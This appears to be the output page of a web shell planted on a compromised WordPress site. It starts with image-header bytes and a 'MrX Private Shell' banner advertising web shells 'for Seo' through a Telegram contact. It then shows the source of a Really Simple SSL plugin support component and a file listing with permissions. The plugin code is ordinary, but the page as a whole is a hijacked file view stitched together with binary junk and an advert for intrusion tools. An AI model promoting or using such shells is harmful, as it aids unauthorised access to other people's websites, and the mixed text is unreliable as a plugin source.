����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
import {
Button,
TextareaControl,
} from '@wordpress/components';
import { __ } from '@wordpress/i18n';
import {
Component,
} from '@wordpress/element';
import Placeholder from '../Placeholder/Placeholder';
import * as rsssl_api from "../utils/api";
class Support extends Component {
constructor() {
super( ...arguments );
this.state = {
message :'',
sending :false,
};
}
componentDidMount() {
this.onChangeHandler = this.onChangeHandler.bind(this);
this.onClickHandler = this.onClickHandler.bind(this);
}
onChangeHandler(message) {
this.setState({
message :message,
});
}
onClickHandler(event) {
this.setState({
sending :true,
});
return rsssl_api.runTest('supportData', 'refresh').then( ( response ) => {
const {
message,
} = this.state;
let encodedMessage = message.replace(/(?:\r\n|\r|\n)/g, '--br--');
let url = 'https://really-simple-ssl.com/support'
+'?customername=' + encodeURIComponent(response.customer_name)
+ '&email=' + response.email
+ '&domain=' + response.domain
+ '&scanresults=' + encodeURIComponent(response.scan_results)
+ '&licensekey=' + encodeURIComponent(response.license_key)
+ '&supportrequest=' + encodeURIComponent(encodedMessage)
+ '&htaccesscontents=' + response.htaccess_contents
+ '&debuglog=' + response.system_status;
window.location.assign(url);
});
}
render(){
const {
message,
sending,
} = this.state;
let disabled = sending || message.length==0;
let textAreaDisabled = sending;
return (
<>
<TextareaControl
disabled={textAreaDisabled}
placeholder={__("Type your question here","really-simple-ssl")}
onChange={ ( message ) => this.onChangeHandler(message) }
/>
<Button
disabled={disabled}
variant="secondary"
onClick={ ( e ) => this.onClickHandler(e) }>
{ __( 'Send', 'really-simple-ssl' ) }
</Button>
</>
);
}
}
export default Support;| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| ChangeStatus.js | File | 702 B | 0644 |
|
| Field.js | File | 13.04 KB | 0644 |
|
| Help.js | File | 1.61 KB | 0644 |
|
| Host.js | File | 1.71 KB | 0644 |
|
| LearningMode.js | File | 13.74 KB | 0644 |
|
| License.js | File | 5.17 KB | 0644 |
|
| MixedContentScan.js | File | 11.42 KB | 0644 |
|
| Notices.js | File | 782 B | 0644 |
|
| Password.js | File | 1.32 KB | 0644 |
|
| PermissionsPolicy.js | File | 6.12 KB | 0644 |
|
| Settings.js | File | 7.58 KB | 0644 |
|
| SettingsGroup.js | File | 7.35 KB | 0644 |
|
| SettingsPage.js | File | 14.22 KB | 0644 |
|
| Support.js | File | 2.44 KB | 0644 |
|